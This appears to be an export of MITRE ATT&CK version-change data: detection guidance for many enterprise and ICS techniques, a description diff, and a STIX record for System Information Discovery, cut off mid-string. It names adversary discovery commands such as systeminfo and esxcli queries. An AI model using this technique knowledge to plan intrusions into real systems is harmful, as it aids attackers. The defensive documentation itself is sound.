Program uploads may be observable in ICS management protocols or file transfer protocols. Note when protocol functions related to program uploads occur. In cases where the ICS protocols is not well understood, one option is to examine network traffic for the program files themselves using signature-based tools. +Monitor device communication patterns to identify irregular bulk transfers of data between the embedded ICS asset and other nodes within the network. Note these indicators are dependent on the profile of normal operations and the capabilities of the industrial automation protocols involved (e.g., partial program uploads). +Monitor for device alarms produced when program uploads occur, although not all devices will produce such alarms.
Current version: 1.0
Description:
No standard detection method currently exists for this technique.
Current version: 1.0
Description:
No standard detection method currently exists for this technique.
Current version: 1.0
Description:
Monitor HKLM\Software\Policies\Microsoft\Windows NT\DNSClient for changes to the "EnableMulticast" DWORD value. A value of "0" indicates LLMNR is disabled. +Host-based implementations of this technique may utilize networking-based system calls or network utility commands (e.g., iptables) to locally intercept traffic. Monitor for relevant process creation events. +Monitor for network traffic originating from unknown/unexpected hosts. Local network traffic metadata (such as source MAC addressing) as well as usage of network management protocols such as DHCP may be helpful in identifying hardware. For added context on adversary procedures and background see Adversary-in-the-Middle and applicable sub-techniques. +Monitor for newly constructed services/daemons through Windows event logs for event IDs 4697 and 7045. +Monitor network traffic for anomalies associated with known AiTM behavior. For Collection activity where transmitted data is not manipulated, anomalies may be present in network management protocols (e.g., ARP, DHCP). +Monitor application logs for changes to settings and other events associated with network protocols and other services commonly abused for AiTM.
Current version: 1.0
Description:
Monitor for changes made to files that may stop or disable services on a system to render those services unavailable to legitimate users. +Monitor executed commands and arguments that may stop or disable services on a system to render those services unavailable to legitimate users. +Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, ChangeServiceConfigW may be used by an adversary to prevent services from starting. For added context on adversary procedures and background see Service Stop. +Monitor processes and command-line arguments to see if critical processes are terminated or stop running. For added context on adversary procedures and background see Service Stop. +Alterations to the service binary path or the service startup type changed to disabled may be suspicious. +Monitor for changes made to Windows registry keys and/or values that may stop or disable services on a system to render those services unavailable to legitimate users. +Monitor for newly executed processes that may stop or disable services on a system to render those services unavailable to legitimate users.
Current version: 1.0
Description:
Monitor for unexpected changes to project files, although if the malicious modification occurs in tandem with legitimate changes it will be difficult to isolate the unintended changes by analyzing only file systems modifications.
Current version: 1.0
Description:
Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash, which may be recorded in the application log. +Use deep packet inspection to look for artifacts of common exploit traffic, such as known payloads.
Current version: 1.0
Description:
Monitor ICS automation network protocols for functions related to reading an asset’s operating mode. In some cases, there may be multiple ways to detect a device’s operating mode, one of which is typically used in the operational environment. Monitor for the operating mode being checked in unexpected ways.
Current version: 1.0
Description:
No standard detection method currently exists for this technique.
Current version: 1.0
Description:
Monitor executed commands and arguments that may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Also monitor executed commands and arguments that may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell. +Monitor for executed processes (such as ipconfig/ifconfig and arp) with arguments that may look for details about the network configuration and settings, such as IP and/or MAC addresses. Also monitor for executed processes that may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. +Monitor for any suspicious attempts to enable script execution on a system. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. +Monitor for API calls (such as GetAdaptersInfo() and GetIpNetTable()) that may gather details about the network configuration and settings, such as IP and/or MAC addresses. Also monitor for API calls that may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network. For added context on adversary procedures and background see System Network Configuration Discovery and System Network Connections Discovery.
Current version: 1.0
Description:
Monitor for device alarms produced when device management passwords are changed, although not all devices will produce such alarms. +Monitor for device credential changes observable in automation or management network protocols.
Current version: 1.0
Description:
Monitor for newly executed processes related to services specifically designed to accept remote graphical connections, such as RDP and VNC. Remote Services and Valid Accounts may be used to access a host’s GUI. +Monitor executed commands and arguments related to services specifically designed to accept remote graphical connections, such as RDP and VNC. Remote Services and Valid Accounts may be used to access a host’s GUI. +Monitor DLL file events, specifically creation of these binary files as well as the loading of DLLs into processes associated with remote graphical connections, such as RDP and VNC. Remote Services may be used to access a host’s GUI. +Monitor for user accounts logged into systems they would not normally access or abnormal access patterns, such as multiple systems over a relatively short period of time. Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Remote Services may be used to access a host’s GUI.
Current version: 1.0
Description:
A manipulated I/O image requires analyzing the application program running on the PLC for specific data block writes. Detecting this requires obtaining and analyzing a PLC’s application program, either directly from the device or from asset management platforms.
Current version: 1.0
Description:
Collecting information from the I/O image requires analyzing the application program running on the PLC for specific data block reads. Detecting this requires obtaining and analyzing a PLC’s application program, either directly from the device or from asset management platforms.
Current version: 1.0
Description:
No standard detection method currently exists for this technique.
Current version: 1.0
Description:
Monitor asset management systems for device configuration changes which can be used to understand expected parameter settings. +Monitor device application logs parameter changes, although not all devices will produce such logs. +Monitor for device alarms produced when parameters are changed, although not all devices will produce such alarms. +Monitor ICS management protocols for parameter changes, including for unexpected values, changes far exceeding standard values, or for parameters being changed in an unexpected way (e.g., via a new function, at an unusual time).
Current version: 1.0
Description:
Monitor ICS asset application logs that indicate alarm settings have changed, although not all assets will produce such logs. +Consult asset management systems to understand expected alarm settings. +Data about the industrial process may indicate it is operating outside of expected bounds and could help indicate that that an alarm setting has changed. This will not directly detect the technique’s execution, but instead may provide additional evidence that the technique has been used and may complement other detections. +Monitor for alarm setting changes observable in automation or management network protocols.
Current version: 1.0
Description:
No standard detection method currently exists for this technique.
Current version: 1.0
Description:
No standard detection method currently exists for this technique.
Current version: 1.0
Description:
Monitor for changes made to firmware for unexpected modifications to settings and/or data that may be used by rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Asset management systems should be consulted to understand known-good firmware versions and configurations.
Current version: 1.0
Description:
Monitor for suspicious descendant process spawning from Microsoft Office and other productivity software.(Citation: Elastic - Koadiac Detection with EQL) For added context on adversary procedures and background see Spearphishing Attachment. +Monitor for newly constructed files from a spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. +Monitor network traffic for suspicious email attachments. Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g., monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). Use web proxies to review content of emails including sender information, headers, and attachments for potentially malicious content. +Monitor mail server and proxy logs for evidence of messages originating from spoofed addresses, including records indicating failed DKIM+SPF validation or mismatched message headers.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing) Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer.
Current version: 1.0
Description:
Monitor for unusual network traffic that may indicate additional tools transferred to the system. Use network intrusion detection systems, sometimes with SSL/TLS inspection, to look for known malicious scripts (recon, heap spray, and browser identification scripts have been frequently reused), common script obfuscation, and exploit code. +Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before. +Monitor for behaviors on the endpoint system that might indicate successful compromise, such as abnormal behaviors of browser processes. This could include suspicious files written to disk. +Monitor for newly constructed files written to disk through a user visiting a website over the normal course of browsing. +Monitor for newly constructed network connections to untrusted hosts that are used to send or receive data.
Current version: 1.0
Description:
Monitor device management protocols for functions that modify programs such as online edit and program append events. +Monitor device alarms that indicate the program has changed, although not all devices produce such alarms. +Engineering and asset management software will often maintain a copy of the expected program loaded on a controller and may also record any changes made to controller programs. Data from these platforms can be used to identify modified controller programs. +Monitor device application logs that indicate the program has changed, although not all devices produce such logs.
Current version: 1.0
Description:
Monitor for the termination of processes or services associated with ICS automation protocols and application software which could help detect blocked communications. +Monitor for lack of operational process data which may help identify a loss of communications. This will not directly detect the technique’s execution, but instead may provide additional evidence that the technique has been used and may complement other detections. +Monitor application logs for changes to settings and other events associated with network protocols that may be used to block communications. +Monitor for a loss of network communications, which may indicate this technique is being used. +Monitor asset alarms which may help identify a loss of communications. Consider correlating alarms with other data sources that indicate traffic has been blocked, such as network traffic. In cases where alternative methods of communicating with outstations exist alarms may still be visible even if command messages are blocked.
Current version: 1.0
Description:
No standard detection method currently exists for this technique.
Current version: 1.0
Description:
No standard detection method currently exists for this technique.
Current version: 1.0
Description:
Monitor for new ICS protocol connections to existing assets or for device scanning (i.e., a host connecting to many devices) over ICS and enterprise protocols (e.g., ICMP, DCOM, WinRM). +Monitor for anomalies related to discovery related ICS functions, including devices that have not previously used these functions or for functions being sent to many outstations. Note that some ICS protocols use broadcast or multicast functionality, which may produce false positives. Also monitor for hosts enumerating network connected resources using non-ICS enterprise protocols. +Monitor for files (such as /etc/hosts) being accessed that may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. +Monitor for newly executed processes that can be used to discover remote systems, such as ping.exe and tracert.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL) Consider monitoring for new processes engaging in scanning activity or connecting to multiple systems by correlating process creation network data.
Current version: 1.0
Description:
Monitor ICS automation protocols for anomalies related to reading point or tag data, such as new assets using these functions, changes in volume or timing, or unusual information being queried. Many protocols provide multiple ways to achieve the same result (e.g., functions with/without an acknowledgment or functions that operate on a single point vs. multiple points). Monitor for changes in the functions used. +Monitor asset application logs which may provide information about requests for points or tags. Look for anomalies related to reading point or tag data, such as new assets using these functions, changes in volume or timing, or unusual information being queried. Many devices provide multiple ways to achieve the same result (e.g., functions with/without an acknowledgment or functions that operate on a single point vs. multiple points). Monitor for changes in the functions used.
Current version: 1.0
Description:
Monitor asset alarms which may help identify a loss of communications. Consider correlating alarms with other data sources that indicate traffic has been blocked, such as network traffic. In cases where alternative methods of communicating with outstations exist alarms may still be visible even if reporting messages are blocked.
+Monitor for the termination of processes or services associated with ICS automation protocols and application software which could help detect blocked communications.
+Monitor application logs for changes to settings and other events associated with network protocols that may be used to block communications.
+Monitor for a loss of network communications, which may indicate this technique is being used.
+Monitor for lack of operational process data which may help identify a loss of communications. This will not directly detect the technique’s execution, but instead may provide additional evidence that the technique has been used and may complement other detections.
Current version: 1.0
Description:
Monitor for firmware changes which may be observable via operational alarms from devices. +Monitor device application logs for firmware changes, although not all devices will produce such logs. +Monitor ICS management protocols / file transfer protocols for protocol functions related to firmware changes. +Monitor firmware for unexpected changes. Asset management systems should be consulted to understand known-good firmware versions. Dump and inspect BIOS images on vulnerable systems and compare against known good images.(Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior. Likewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed.(Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)
Current version: 1.0
Description:
Monitor for newly executed processes that depend on user interaction, especially for applications that can embed programmatic capabilities (e.g., Microsoft Office products with scripts, installers, zip files). This includes compression applications, such as those for zip files, that can be used to Deobfuscate/Decode Files or Information in payloads. For added context on adversary procedures and background see User Execution and applicable sub-techniques. +Monitor for application logging, messaging, and/or other artifacts that may rely upon specific actions by a user in order to gain execution. +Monitor for newly constructed web-based network connections that are sent to malicious or suspicious destinations (e.g., destinations attributed to phishing campaigns). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments (e.g., monitor anomalies in use of files that do not normally initiate network connections or unusual connections initiated by regsvr32.exe, rundll.exe, SCF, HTA, MSI, DLLs, or msiexec.exe). +Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning PowerShell). +Monitor for newly executed processes that depend on user interaction, especially for applications that can embed programmatic capabilities (e.g., Microsoft Office products with scripts, installers, zip files). This includes compression applications, such as those for zip files, that can be used to Deobfuscate/Decode Files or Information in payloads. +Monitor and analyze traffic patterns and packet inspection associated with web-based network connections that are sent to malicious or suspicious destinations (e.g., destinations attributed to phishing campaigns). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments (e.g., monitor anomalies in use of files that do not normally initiate network connections or unusual connections initiated by regsvr32.exe, rundll.exe, SCF, HTA, MSI, DLLs, or msiexec.exe).
Current version: 1.0
Description:
Consult asset management systems which may help with the detection of computer systems or network devices that should not exist on a network. +Monitor for network traffic originating from unknown/unexpected devices or addresses. Local network traffic metadata could be used to identify unexpected connections, including unknown/unexpected source MAC addresses connecting to ports associated with operational protocols. Also, network management protocols such as DHCP and ARP may be helpful in identifying unexpected devices. +Monitor for new master devices communicating with outstations, which may be visible in alarms within the ICS environment. +Monitor for unexpected ICS protocol functions from new and existing devices. Monitoring known devices requires ICS function level insight to determine if an unauthorized device is issuing commands (e.g., a historian). +Monitor for new master devices communicating with outstation assets, which may be visible in asset application logs.
Current version: 1.0
Description:
Monitor for any suspicious attempts to enable script execution on a system. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. +Monitor executed commands and associated arguments for application programs which support executing custom code, scripts, commands, or executables. +Monitor for unusual processes execution, especially for processes that allow the proxy execution of malicious files.
Current version: 1.0
Description:
Monitor industrial process history data for events that correspond with command message functions, such as setpoint modification or changes to system status for key devices. This will not directly detect the technique’s execution, but instead may provide additional evidence that the technique has been used and may complement other detections. +Monitor for anomalous or unexpected commands that may result in changes to the process operation (e.g., discrete write, logic and device configuration, mode changes) observable via asset application logs. +Monitor for new or unexpected connections to controllers, which could indicate an Unauthorized Command Message being sent via Rogue Master. +Monitor for anomalous or unexpected commands that may result in changes to the process operation (e.g., discrete write, logic and device configuration, mode changes) observable via asset application logs. +Monitor for unexpected ICS protocol command functions to controllers from existing master devices (including from new processes) or from new devices. The latter is like detection for Rogue Master but requires ICS function level insight to determine if an unauthorized device is issuing commands (e.g., a historian).
+Monitoring for unexpected or problematic values below the function level will provide better insights into potentially malicious activity but at the cost of additional false positives depending on the underlying operational process.
Current version: 1.0
Description:
Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash.
Current version: 1.0
Description:
Monitor logon activity for unexpected or unusual access to devices from the Internet. +Monitor for unexpected protocols to/from the Internet. While network traffic content and logon session metadata may directly identify a login event, new Internet-based network flows may also be a reliable indicator of this technique. +Monitor for unusual logins to Internet connected devices or unexpected protocols to/from the Internet. Network traffic content will provide valuable context and details about the content of network flows.
Current version: 1.0
Description:
Monitor asset alarms which may help identify a loss of communications. Consider correlating alarms with other data sources that indicate traffic has been blocked, such as network traffic. In cases where alternative methods of communicating with outstations exist alarms may still be visible even if messages over serial COM ports are blocked. +Monitor for a loss of network communications, which may indicate this technique is being used. +Monitor for lack of operational process data which may help identify a loss of communications. This will not directly detect the technique’s execution, but instead may provide additional evidence that the technique has been used and may complement other detections. +Monitor application logs for changes to settings and other events associated with network protocols that may be used to block communications. +Monitor for the termination of processes or services associated with ICS automation protocols and application software which could help detect blocked communications.
Current version: 1.0
Description:
Monitor network traffic for hardcoded credential use in protocols that allow unencrypted authentication. +Monitor logon sessions for hardcoded credential use, when feasible.
Current version: 1.0
Description:
Monitor and analyze traffic flows that do not follow the expected protocol standards and traffic flows (e.g., extraneous packets that do not belong to established flows , or gratuitous or anomalous traffic patterns). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g., monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). +Monitor and analyze traffic patterns and packet inspection associated to protocol(s), leveraging SSL/TLS inspection for encrypted traffic, that do not follow the expected protocol standards and traffic flows (e.g., extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g., monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).
Current version: 1.0
Description:
Monitor for newly executed processes that can aid in sniffing network traffic to capture information about an environment. +Monitor executed commands and arguments for actions that aid in sniffing network traffic to capture information about an environment.
Current version: 1.0
Description:
Monitor for a loss of network communications, which may indicate a device has been shutdown or restarted. This will not directly detect the technique’s execution, but instead may provide additional evidence that the technique has been used and may complement other detections. +Device restarts and shutdowns may be observable in device application logs. Monitor for unexpected device restarts or shutdowns. +Devices may produce alarms about restarts or shutdowns. Monitor for unexpected device restarts or shutdowns. +Monitor ICS automation protocols for functions that restart or shutdown a device. Commands to restart or shutdown devices may also be observable in traditional IT management protocols.
Current version: 1.0
Description:
Monitor ICS automation network protocols for information that an asset has been placed into Firmware Update Mode. +Monitor device alarms that indicate the devices has been placed into Firmware Update Mode, although not all devices produce such alarms. +Monitor asset log which may provide information that an asset has been placed into Firmware Update Mode. Some assets may log firmware updates themselves without logging that the device has been placed into update mode.
Current version: 1.0
Description:
Monitor for network traffic originating from unknown/unexpected systems. +Monitor authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours, including use of Valid Accounts. +When authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application.
Current version: 1.0
Description:
Monitor network data for uncommon data flows (e.g., time of day, unusual source/destination address) that may be related to abuse of Valid Accounts to log into a service specifically designed to accept remote connections, such as RDP, Telnet, SSH, and VNC. +Monitor DLL file events, specifically creation of these files as well as the loading of DLLs into processes specifically designed to accept remote connections, such as RDP, Telnet, SSH, and VNC. +Monitor for user accounts logged into systems they would not normally access or abnormal access patterns, such as multiple systems over a relatively short period of time. Correlate use of login activity related to remote services with unusual behavior or other malicious or suspicious activity. Adversaries will likely need to learn about an environment and the relationships between systems through Discovery techniques prior to attempting Lateral Movement. For added context on adversary procedures and background see Remote Services and applicable sub-techniques. +Monitor for newly executed processes related to services specifically designed to accept remote connections, such as RDP, Telnet, SSH, and VNC. The adversary may use Valid Accounts to login and may perform follow-on actions that spawn additional processes as the user. +Monitor executed commands and arguments to services specifically designed to accept remote connections, such as RDP, Telnet, SSH, and VNC. The adversary may then perform these actions using Valid Accounts. +Monitor for newly constructed network connections into a service specifically designed to accept remote connections, such as RDP, Telnet, SSH, and VNC. Monitor network connections involving common remote management protocols, such as ports tcp:3283 and tcp:5900, as well as ports tcp:3389 and tcp:22 for remote logins. The adversary may use Valid Accounts to enable remote logins. +Monitor interactions with network shares, such as reads or file transfers, using remote services such as Server Message Block (SMB). For added context on adversary procedures and background see Remote Services and applicable sub-techniques.
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may search private data from threat intelligence | t | 1 | Adversaries may search private data from threat intelligence |
| > | vendors for information that can be used during targeting. | > | vendors for information that can be used during targeting. | ||
| > | Threat intelligence vendors may offer paid feeds or portals | > | Threat intelligence vendors may offer paid feeds or portals | ||
| > | that offer more data than what is publicly reported. Althoug | > | that offer more data than what is publicly reported. Althoug | ||
| > | h sensitive details (such as customer names and other identi | > | h sensitive details (such as customer names and other identi | ||
| > | fiers) may be redacted, this information may contain trends | > | fiers) may be redacted, this information may contain trends | ||
| > | regarding breaches such as target industries, attribution cl | > | regarding breaches such as target industries, attribution cl | ||
| > | aims, and successful TTPs/countermeasures.(Citation: D3Secut | > | aims, and successful TTPs/countermeasures.(Citation: D3Secut | ||
| > | rity CTI Feeds) Adversaries may search in private threat in | > | rity CTI Feeds) Adversaries may search in private threat in | ||
| > | telligence vendor data to gather actionable information. Thr | > | telligence vendor data to gather actionable information. If | ||
| > | eat actors may seek information/indicators gathered about th | > | a threat actor is searching for information on their own act | ||
| > | eir own campaigns, as well as those conducted by other adver | > | ivities, that falls under [Search Threat Vendor Data](https: | ||
| > | saries that may align with their target industries, capabili | > | //attack.mitre.org/techniques/T1681). Information reported b | ||
| > | ties/objectives, or other operational concerns. Information | > | y vendors may also reveal opportunities other forms of recon | ||
| > | reported by vendors may also reveal opportunities other form | > | naissance (ex: [Search Open Websites/Domains](https://attack | ||
| > | s of reconnaissance (ex: [Search Open Websites/Domains](http | > | .mitre.org/techniques/T1593)), establishing operational reso | ||
| > | s://attack.mitre.org/techniques/T1593)), establishing operat | > | urces (ex: [Develop Capabilities](https://attack.mitre.org/t | ||
| > | ional resources (ex: [Develop Capabilities](https://attack.m | > | echniques/T1587) or [Obtain Capabilities](https://attack.mit | ||
| > | itre.org/techniques/T1587) or [Obtain Capabilities](https:// | > | re.org/techniques/T1588)), and/or initial access (ex: [Explo | ||
| > | attack.mitre.org/techniques/T1588)), and/or initial access ( | > | it Public-Facing Application](https://attack.mitre.org/techn | ||
| > | ex: [Exploit Public-Facing Application](https://attack.mitre | > | iques/T1190) or [External Remote Services](https://attack.mi | ||
| > | .org/techniques/T1190) or [External Remote Services](https:/ | > | tre.org/techniques/T1133)). | ||
| > | /attack.mitre.org/techniques/T1133)). |
systemsetup configuration tool on macOS. Adversaries may leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information (e.g. show version).(Citation: US-CERT-TA18-106A) On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get` and `system version get`.(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: Varonis)\n\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)\n\n[System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques) ",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "discovery"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1082",
+ "external_id": "T1082"
+ },
+ {
+ "source_name": "Amazon Describe Instance",
+ "description": "Amazon. (n.d.). describe-instance-information. Retrieved March 3, 2020.",
+ "url": "https://docs.aws.amazon.com/cli/latest/reference/ssm/describe-instance-information.html"
+ },
+ {
+ "source_name": "Google Instances Resource",
+ "description": "Google. (n.d.). Rest Resource: instance. Retrieved March 3, 2020.",
+ "url": "https://cloud.google.com/compute/docs/reference/rest/v1/instances"
+ },
+ {
+ "source_name": "Varonis",
+ "description": "Jason Hill. (2023, February 8). VMware ESXi in the Line of Ransomware Fire. Retrieved March 26, 2025.",
+ "url": "https://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire"
+ },
+ {
+ "source_name": "Crowdstrike Hypervisor Jackpotting Pt 2 2021",
+ "description": "Michael Dawson. (2021, August 30). Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESXi Servers with Ransomware. Retrieved March 26, 2025.",
+ "url": "https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/"
+ },
+ {
+ "source_name": "Microsoft Virutal Machine API",
+ "description": "Microsoft. (2019, March 1). Virtual Machines - Get. Retrieved October 8, 2019.",
+ "url": "https://docs.microsoft.com/en-us/rest/api/compute/virtualmachines/get"
+ },
+ {
+ "source_name": "20 macOS Common Tools and Techniques",
+ "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.",
+ "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
+ },
+ {
+ "source_name": "OSX.FairyTale",
+ "description": "Phile Stokes. (2018, September 20). On the Trail of OSX.FairyTale | Adware Playing at Malware. Retrieved August 24, 2021.",
+ "url": "https://www.sentinelone.com/blog/trail-osx-fairytale-adware-playing-malware/"
+ },
+ {
+ "source_name": "US-CERT-TA18-106A",
+ "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
+ "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.3.0",
+ "x_mitre_contributors": [
+ "Maril Vernon @shewhohacks",
+ "Praetorian",
+ "Austin Clark, @c2defense"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "ESXi",
+ "IaaS",
+ "Linux",
+ "macOS",
+ "Network Devices",
+ "Windows"
+ ],
+ "x_mitre_version": "3.0",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:38.277000+00:00\", \"old_value\": \"2025-04-15 19:58:21.308000+00:00\"}, \"root['description']\": {\"new_value\": \"An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use this information to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. This behavior is distinct from [Local Storage Discovery](https://attack.mitre.org/techniques/T1680) which is an adversary's discovery of local drive, disks and/or volumes.\\n\\nTools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. Adversaries may leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information (e.g. show version).(Citation: US-CERT-TA18-106A) On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get` and `system version get`.(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: Varonis)\\n\\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)\\n\\n[System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques) \", \"old_value\": \"An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\\n\\nTools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information (e.g. show version).(Citation: US-CERT-TA18-106A) On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get`, `system version get`, and `storage filesystem list` (to list storage volumes).(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: Varonis)\\n\\nInfrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virutal Machine API)\\n\\n[System Information Discovery](https://attack.mitre.org/techniques/T1082) combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.(Citation: OSX.FairyTale)(Citation: 20 macOS Common Tools and Techniques) \", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,6 @@\\n-An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](https://attack.mitre.org/techniques/T1082) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\\n+An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use this information to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. This behavior is distinct from [Local Storage Discovery](https://attack.mitre.org/techniques/T1680) which is an adversary's discovery of local drive, disks and/or volumes.\\n \\n-Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. As an example, adversaries with user-level access can execute the df -aH command to obtain currently mounted disks and associated freely available space. Adversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information (e.g. show version).(Citation: US-CERT-TA18-106A) On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get`, `system version get`, and `storage filesystem list` (to list storage volumes).(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: Varonis)\\n+Tools such as [Systeminfo](https://attack.mitre.org/software/S0096) can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. Adversaries may leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to gather detailed system information (e.g. show version).(Citation: US-CERT-TA18-106A) On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get` and `system version get`.(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)(Citation: Varonis)\\n \\n Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access 